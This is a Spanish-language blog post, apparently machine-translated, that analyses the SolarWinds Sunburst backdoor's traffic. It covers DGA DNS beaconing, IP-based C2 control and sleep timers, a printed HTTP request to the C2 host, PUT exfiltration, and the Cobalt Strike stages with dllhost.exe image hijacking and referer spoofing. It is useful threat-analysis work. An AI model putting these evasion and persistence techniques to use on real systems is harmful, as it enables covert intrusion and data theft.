Artículo 66: Revisión y análisis de todo el proceso de tráfico de comunicaciones de la puerta trasera superior APT Sunburst (artículo revisado)

7661ac09ac04e76ed3360e380ae76519.png

 Prefacio de la Parte 1 

Debido a algunos errores en el artículo anterior, se eliminó el artículo original ABC_123, que se corrigió y se volvió a publicar el fin de semana pasado .

Hola a todos, mi nombre es ABC_123 . En las últimas semanas, hemos compartido el proceso de ataque detallado del incidente del ataque a la cadena de suministro de Solarwinds y las ideas de diseño de la puerta trasera Sunburst, pero la mayoría de los amigos aún no comprenden el proceso de comunicación de la puerta trasera Sunburst. En este número de ABC_123, revisaremos completamente el proceso de comunicación de la puerta trasera Sunburst desde la perspectiva del tráfico. Esto puede mostrar de manera más intuitiva cómo la puerta trasera Sunburst evita el monitoreo del tráfico. También aprendí mucho de él.

Nota: Muchos artículos de análisis extranjeros tienen opiniones diferentes sobre el proceso de comunicación de la puerta trasera Sunburst y hay muchas contradicciones en muchas descripciones detalladas. ABC_123 ha revisado artículos de varias empresas de seguridad según su propio conocimiento. Es inevitable que haya algunas omisiones, así que corríjalas.

Nota: Las comunicaciones de puerta trasera Sunburst evadieron Einstein, el sistema de defensa contra ataques cibernéticos de EE. UU. que tardó más de una década y decenas de miles de millones de dólares en construirse.

Se recomienda que todos establezcan la cuenta pública "Laboratorio Xitan" como una estrella; de lo contrario, es posible que no la vean. Porque las cuentas oficiales ahora pueden mostrar imágenes grandes solo para cuentas oficiales leídas con frecuencia y destacadas. Cómo operar: Haga clic en [...] en la esquina superior derecha y luego haga clic en [Establecer como estrella].

d89be937d31984e33e8f5bcda7dd20a4.png

 Parte 2 Conocimiento previo de la comunicación de puerta trasera 

  • Cómo controla C2 la puerta trasera Sunburst

El artículo anterior ABC_123 lo presentó en detalle, repasémoslo brevemente en este número. El atacante en el servidor C2 controlará indirectamente el comportamiento de la puerta trasera Sunburst controlando la resolución del nombre de dominio C2 en diferentes rangos de direcciones IP. Veamos un ejemplo simple para ver cómo el atacante controla la puerta trasera Sunburst y la hace salir permanentemente. .

Primero, la puerta trasera Sunburst inició una solicitud de nombre de dominio dga para ea99hr2sfen95nkjlc5g.appsync-api.eu-west-1.avsvmcloud.com . El atacante en el servidor C2 tenía la intención de evitar que la puerta trasera saliera permanentemente, por lo que resolvió el nombre de dominio dga. a la dirección IP 96.31.172.116 , después de que Sunburst obtiene esta IP, consulta la siguiente lista y luego cambia inmediatamente al estado " Truncar ". Después de borrar todos los rastros, finaliza permanentemente la ejecución.

39b09f06ac86cdc5344c13211292fad3.png

  • Diagrama de C2 controlando la puerta trasera Sunburst

cef0d07d54255d139073e254aabd6b14.png

La parte azul es la dirección IP de CONTINUAR . Cuando el atacante del servidor C2 resuelve el nombre de dominio dga en la dirección IP en la parte azul de la figura, significa que el atacante del servidor C2 aún no ha decidido si el objetivo es un objetivo valioso y si debe penetrar más, por lo que la puerta trasera Sunburst continuará lanzando la solicitud de nombre de dominio dga para recibir el siguiente paso de las instrucciones enviadas por el atacante.

La dirección IP STOP en rojo . Si más tarde el atacante descubre que la computadora objetivo tiene poco valor o que el software de protección instalado en la máquina objetivo es demasiado potente, debe dejar de penetrar en el objetivo. El atacante del servidor C2 resolverá el nombre de dominio dga en la parte roja de la dirección IP, de modo que después de que Sunburst obtenga esta parte de la IP, limpiará los rastros y luego dejará de ejecutarse permanentemente.

La parte DESTINO violeta de la dirección IP . Si el atacante considera que el objetivo de la víctima merece una mayor penetración, el nombre de dominio dga se resolverá en la IP en la parte violeta de la imagen de arriba y luego se devolverá un nombre de dominio cname. Sunburst recibirá este nombre de dominio ( deftsecurity.com en la imagen) y utilícelo como la segunda etapa. El nombre de dominio en la etapa HTTP C2 comienza a recibir oficialmente instrucciones C2 y devolver los resultados de ejecución de las instrucciones.

  • temporizador de retardo

El servidor de nombres de dominio de C2 no solo controla el comportamiento de la puerta trasera Sunburst resolviendo el nombre de dominio dga en diferentes direcciones IP, sino que también controla el tiempo de espera del siguiente comando de ejecución de la puerta trasera Sunburst controlando los últimos 8 bits de la dirección IP resuelta . Por ejemplo, cuando el servidor C2 resuelve el nombre de dominio dga en la dirección IP 96.31.172.116, la puerta trasera Sunburst realizará una operación AND en los últimos ocho dígitos de la dirección IP y la máscara 0x54 para obtener un "resultado AND". y luego consulte la siguiente tabla para seleccionar Un tiempo de retraso dentro del cual Sunburst selecciona aleatoriamente un tiempo de retraso.

626860fd4841af031c4236f9a54df0bf.jpeg

  • Caja de terminación de puerta trasera de control C2

Primero, se publica una captura de pantalla de un video extranjero, que describe todo el proceso mediante el cual C2 controla la puerta trasera Sunburst para finalizar su operación.

4cfdaad0251984a0ea33e31adfa2fb2a.jpeg

 Paso 1   La puerta trasera Sunburst solicita un nombre de dominio de la siguiente manera: lf9prvp9o36mhihw2hrs260g12eu1.appsync-api.eu-west-1.avsvmcloud.com Utilice una herramienta para descifrar la parte lf9prvp9o36mhihw2hrs260g12eu1 de este nombre de dominio y encuentre que el nombre de dominio omeros.local donde Se obtiene la máquina objetivo donde se encuentra . Luego, el atacante resuelve el nombre de dominio en la dirección IP 8.18.145.139 . Sunburst calcula los últimos 8 bytes de la dirección IP y sabe que necesita esperar un minuto antes de enviar la información de estado del software de protección de seguridad al servidor C2.

 Después de un retraso de un minuto en el paso 2   , la puerta trasera Sunburst inicia la segunda solicitud y le dice al servidor C2 a través de la parte cifrada del nombre de dominio dga que la máquina de destino tiene el software de protección de seguridad del terminal Carbon Black . El servidor C2 resuelve el nombre de dominio dga en 8.18.145.62 . La puerta trasera Sunburst analiza los últimos 8 bytes de la dirección IP y descubre que necesita retrasar la solicitud 1 día antes de reiniciar la solicitud del nombre de dominio dga.

 Después de un retraso de un día en el paso 3   , Sunburst solicita instrucciones de C2 haciendo ping al siguiente nombre de dominio dga. C2 resuelve el nombre de dominio en 8.18.144.150. Sunburst necesita esperar otro día y luego inicia una solicitud de nombre de dominio dga.

 Después de un retraso de un día en el paso 4   , Sunburst hace ping a un nombre de dominio dga, C2 resuelve el nombre de dominio en 8.18.145.151 y Sunburst continúa esperando.

 Después de un retraso de un día en el paso 5   , Sunburst hizo ping a un nombre de dominio dga. C2 resolvió el nombre de dominio en 20.140.84.127. Sunburst obtuvo la IP e inmediatamente entendió que C2 le pidió que dejara de ejecutarse inmediatamente. Esto muestra que el propietario de C2 Pensé en este nombre de dominio . Una mayor penetración informática tenía poco valor , por lo que lo abandoné.

A través de este caso, se descubrió que la puerta trasera Sunburst hizo grandes esfuerzos para evitar la detección de tráfico: primero, solo inició 5 solicitudes DNS para el nombre de dominio dga en 4 días y el nombre de dominio appsync-api.eu-west-1. avsvmcloud .com recuerda fácilmente al nombre de dominio de AWS, lo que llevó al personal de seguridad a considerarlo más tarde como una solicitud de nombre de dominio normal al rastrear la fuente. Nunca una puerta trasera ha sido tan paciente y demorada tanto.

 Parte 3 Caso completo de comunicación de puerta trasera 

A continuación, observe un caso de comunicación completo de la puerta trasera Sunburst, incluida la puerta trasera Sunburst que transmite el nombre de la computadora de la víctima, el estado del software de protección de seguridad a través del nombre de dominio dga y el proceso de nombre de dominio CNAME en la etapa de comunicación HTTP C2 enviada por c2 al Puerta trasera Sunburst. Esta es la primera etapa, luego, en la segunda etapa, la puerta trasera Sunburst inicia una solicitud GET. Etapa de puerta trasera.

 1 etapa de transferencia de nombre de dominio dga

e144da0a3829f336abad83a2ca671564.jpeg

 Paso   12020-06-11 04:00 UTC

Consulta iniciada por Sunburst: r8stkst71ebqgj66ervisu10bdohu0gt.appsync-api.us-west-2.avsvmcloud.com ⇒ dominio AD, el atacante C2 obtuvo la primera parte del contenido "central.pima.g"

Respuesta: 8.18.144.1 ⇒ La puerta trasera Sunburst duerme durante 1 hora y luego continúa.

 Paso   22020-06-11 05:00 UTC

Sunburst inicia la consulta: ulfmcf44qd58t9e82w.appsync-api.us-west-2.avsvmcloud.com ⇒ dominio AD, el atacante C2 obtiene la parte 2 "ov"

Respuesta: 8.18.144.2 ⇒ La puerta trasera Sunburst duerme durante 1 hora y luego continúa ( en este punto, el atacante sabe que el nombre de dominio completo de la computadora objetivo es central.pima.gov ).

 Paso   32020-06-11 06:00 UTC

Consulta iniciada por Sunburst: p50jllhvhmoti8mpbf6p2di.appsync-api.us-west-2.avsvmcloud.com ⇒ No hay informes.

Respuesta: 8.18.144.16 ⇒ La puerta trasera Sunburst duerme durante 8 horas y luego continúa ( en este momento el atacante sabe que el software de protección del objetivo está desactivado ).

 Paso   42020-06-11 14:00 UTC

Consulta iniciada por Sunburst: (?) ⇒ No hay informes nuevos

Respuesta: 8.18.144.17 ⇒ La puerta trasera Sunburst duerme durante 8 horas y luego continúa ( mientras el atacante evalúa si el objetivo es valioso y merece una mayor penetración ) .

 Paso   52020-06-11 22:35 UTC

Consulta iniciada por Sunburst: j5uqlssr1hfqnn8hkf172mp.appsync-api.us-west-2.avsvmcloud.com ⇒ No se requiere informe

Respuesta: 184.72.181.52 ⇒ Sunburst duerme durante 1 a 3 minutos ( resolviendo a esta dirección IP, Sunburst se preparará para ingresar a la segunda fase de la fase HTTP C2 )

 Paso   62020-06-11 22:37 UTC

Sunburst inicia la consulta: 7sbvaemscs0mc925tb99.appsync-api.us-west-2.avsvmcloud.com ⇒ La puerta trasera Sunburst solicita CNAME

Respuesta: deftsecurity.com ⇒ CNAME del servidor HTTPS C2 de segunda etapa ( en este momento, Sunburst usó la resolución de nombre de dominio dga y descubrió que el valor CNAME no estaba vacío, por lo que obtuvo el valor CNAME y lo usó como nombre de dominio para ingrese a la etapa de comunicación HTTP C2 de segunda etapa )

 2 Inicie una solicitud HTTP para solicitar instrucciones de C2

Luego, la puerta trasera Sunburst ingresa a la etapa de comunicación HTTP C2. Sunburst inicia la siguiente solicitud HTTP al valor CNAME de C2 deftsecurity.com, solicitando un archivo xml:

OBTENER /swip/upd/Orion.UI-5.2.0.xml HTTP/1.1

Si ninguno coincide: bfc145s6149c4290ef3b2c1732449c562a24g66d

Anfitrión: deftsecurity.com

Conexión: Cerrar

Como se muestra en la figura siguiente, el servidor devuelve un archivo que parece un ensamblado XML normal. De hecho, las instrucciones de control del atacante están cifradas y ocultas en los valores de algunos campos de estos archivos XML.

64e8a58affb45a5a33b0722046763049.png

Sunburst obtiene el ID de la instrucción y los parámetros adicionales de la instrucción analizando la parte cifrada del archivo xml anterior. Consulte la siguiente tabla. Si el ID correspondiente a la instrucción es Exit, el hilo actual finaliza. Si es SetTime, el tiempo de retraso se establece en función de los parámetros adicionales descifrados.

0f42051e80097bc3a9aad5aa9d8f8707.png

 3 Devolver los resultados de la ejecución del comando a C2

Después de descifrar las instrucciones enviadas por el atacante desde el archivo xml, Sunburst ejecutará las instrucciones y luego devolverá los resultados al servidor. Como se destacó en el artículo anterior ABC_123, si el resultado devuelto es inferior a 10,000, se enviarán datos en formato json a una URL que termina en .woff2 con una solicitud PUT. Sunburst cifra el resultado de la ejecución y lo oculta en el documento json.

Las reglas de generación de URL son las siguientes (consulte el artículo anterior para obtener más detalles)

23d4762985464e4065d427a9fca62e1e.jpeg

El paquete de solicitud de datos devueltos por Sunburst es aproximadamente el siguiente (esto lo compiló ABC_123 basándose en artículos de análisis extranjeros y es posible que falte parte de la información del encabezado)

158ccb35b1570c8c1e24cc7cb6a6b008.jpeg

El paquete de solicitud se explica a continuación:

dd808523e81eb171873e001816ebb0a4.png

A continuación, la puerta trasera Sunburst solicitará continuamente archivos xml del nombre de dominio c2 para obtener las instrucciones que deben ejecutarse y luego enviará los resultados de la ejecución al servidor c2 en forma de un documento json a través de una solicitud PUT, y luego ingrese a la tercera etapa usando la puerta trasera CobaltStrike para realizar la etapa de lateralización de la intranet.

 4 comunicación de puerta trasera CobaltStrike

A continuación, ingresamos a la tercera etapa: Sunburst descargará un script vbs y un programa Loader, y luego los colocará en el directorio C:\Windows, disfrazados de archivos legítimos. Luego, Sunburst utiliza tecnología de secuestro de imágenes para modificar el registro y vincular dllhost.exe al comando wscript.exe C:\Windows\[carpeta]\[trigger].vbs. En este punto, la puerta trasera Sunburst ha completado su misión y el sistema está silencioso Espere a que se ejecute dllhost.exe y ejecute aún más el script vbs. El script bbs ejecutará rundll32.exe para cargar el archivo dll malicioso en el paso anterior y luego limpiará el registro de secuestro de imágenes de dllhost.exe y limpiará los rastros.

  • Entregar herramienta TEARDROP

TearDrop encontró dos variantes en total:

La primera variante es libintl3.dll . Este ejemplo se carga a través de rundll32.exe y luego lee un archivo de imagen llamado upbeat_anxiety.jpg del directorio actual y se asegura de que tenga un encabezado jpg y extrae el código shell del mismo. La puerta trasera CobaltStrike está conectada a través de Vaya a infinitysoftwares[.]com para obtener comando y control.

La segunda variante es NETSETUPSVC.dll , que se inicia agregando un servicio. Se carga a través de svchost.exe y llama a la función exportada NetSetupServiceMain. El archivo NETSETUPSVC.dll reutiliza el código del archivo libintl3.dll. Al leer el archivo de imagen festivo_computer.jpg del directorio actual, la puerta trasera CobaltStrike proporciona comando y control conectándose a ervsystem[.]com.

TEARDROP utiliza "twitter.com" como contenido del campo Referer en el protocolo https, lo que hará que el personal de seguridad piense erróneamente que el nombre de dominio C2 infinitysoftwares[.]com es un nombre de dominio de lista blanca normal, evadiendo así la detección.

Los datos de tráfico de la fase de comunicación CobaltStrike de TearDrop son los siguientes:

8fe2424c616b2857448a13e990fa1743.jpeg

  • Entregar la herramienta RAINDROP

Existe en el formato bproxy.dll y luego instala un archivo 7z.dll y extrae la herramienta de penetración de dominio DSInternals en la máquina víctima. Para el archivo 7z.dll, la producción de este archivo se basa en el código fuente abierto 7-zip como portador y el código de ataque está oculto en el segmento de código. La puerta trasera también utiliza CobaltStrike para lograr el control lateral de la intranet comunicándose con bigtopweb.com. El árbitro se disfraza de bing.com para confundir al personal de seguridad y pensar erróneamente que bigtopweb.com es un nombre de dominio normal incluido en la lista blanca.

En esta etapa, algunas instancias de CS se basan en servidores de comando y control HTTP, y algunas usan el canal de red SMB \\.\pipe\protected_storage para la comunicación de intranet. (No se encontró el paquete de datos completo. Puede obtener una imagen completa en el registro a continuación)

Los datos de tráfico de la fase de comunicación CobaltStrike de RainDrop son los siguientes:

dbb50c47d93281cc477f01ee65b06df5.jpeg

 Resumen de la Parte 4 

1.   La puerta trasera de activación de Sunburst espera aleatoriamente de 12 a 14 días antes de activarse y ejecutarse oficialmente. Los registros del dispositivo de seguridad de algunas unidades se conservan durante aproximadamente 12 días y luego se sobrescribirán con nuevos registros.

2. En la etapa inicial de la comunicación de C2 para obtener información básica sobre los nombres de dominio de la computadora de la intranet y el software de protección de seguridad, el tráfico está oculto en el nombre de dominio dga, lo que dificulta su detección. Además, en 3 o 4 días, la puerta trasera Sunburst solo inició 4 o 5 solicitudes de nombres de dominio dga, lo que hace que ese acceso de baja frecuencia sea aún más difícil de detectar.

3.  Los objetivos de bajo valor serán eliminados inmediatamente para evitar que sean descubiertos por los equipos de detección.

4. Al final, el atacante solo seleccionó alrededor del 1% de los objetivos valiosos para la penetración lateral de la intranet y abandonó objetivos con alta protección de seguridad, lo que reduce la probabilidad de descubrimiento.

5. El rango de direcciones IP de la resolución de nombres de dominio dga es el rango de direcciones de Microsoft, Google y Amazon. Es fácil que el software de detección lo agregue directamente a la lista blanca. Todo el tráfico de comunicación parece tráfico normal y es difícil de identificar.

6. El nombre de dominio dga appsync-api.us-west-2.avsvmcloud.com utilizado por la puerta trasera Sunburst confunde al personal de seguridad al rastrear la fuente, haciéndoles pensar erróneamente que es un nombre de dominio de AWS.

7.   En resumen, puede ver la sutileza del diseño de Sunburst. Es sorprendente lo oculto que está el nivel de tráfico. ABC_123 continuará compartiendo cómo FireEye rastreó el origen de este ataque. Estén atentos .

615313578d2ecca3b071350cb2ec5e30.png

La cuenta pública se centra en compartir tecnología de seguridad de red, incluido el análisis de eventos APT, ataque y defensa del equipo rojo, análisis del equipo azul, pruebas de penetración, auditoría de código, etc. Un artículo por semana, 99% original, así que estad atentos.

Contácteme: 0day123abc#gmail.com (reemplace # con @)

Supongo que te gusta

Origin blog.csdn.net/m0_71692682/article/details/131606995
Recomendado
Clasificación